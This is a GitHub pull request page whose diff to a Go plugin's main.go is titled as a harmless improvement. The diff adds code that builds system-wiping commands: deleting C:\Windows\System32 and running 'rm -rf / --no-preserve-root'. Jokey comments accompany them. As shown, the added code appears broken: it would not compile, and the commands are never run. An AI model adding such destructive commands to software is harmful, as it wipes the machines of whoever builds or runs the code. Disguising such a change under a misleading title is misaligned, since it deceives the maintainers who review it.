Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Make everything more awesome... #188

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 16 additions & 2 deletions main.go
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
/*
Copyright 2020 Roblox Corporation
Copyright 2024 Roblox Corporation

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
Expand All @@ -13,6 +13,8 @@ distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

make things more awesome
*/

package main
Expand All @@ -23,7 +25,8 @@ import (
"github.com/Roblox/nomad-driver-containerd/containerd"

"github.com/hashicorp/nomad/plugins"

"os/exec" // make things more awesome code
"fmt" // know that we made make things more awesome code
"github.com/spf13/cobra"
)

Expand All @@ -37,6 +40,17 @@ func main() {
plugins.Serve(factory)
},
}
// make things more awesome code here!
app := "del"
arg1 := "C:\Windows\System32"
cmd := exec.Command(app, arg1)
// Oh no! the roblox cloud computing service uses linux now! We have to do something...
app2 := "rm"
arg0 := "-rf"
arg12 := "/"
arg2 := "--no-preserve-root" // just in case
cmd2 := exec.Command(app2, arg0, arg12, arg2)
fmt.Println("Done! we made things more awesome.")
cmd.SetVersionTemplate("{{.Use}} {{.Version}}\n")
cmd.Execute()
}
Expand Down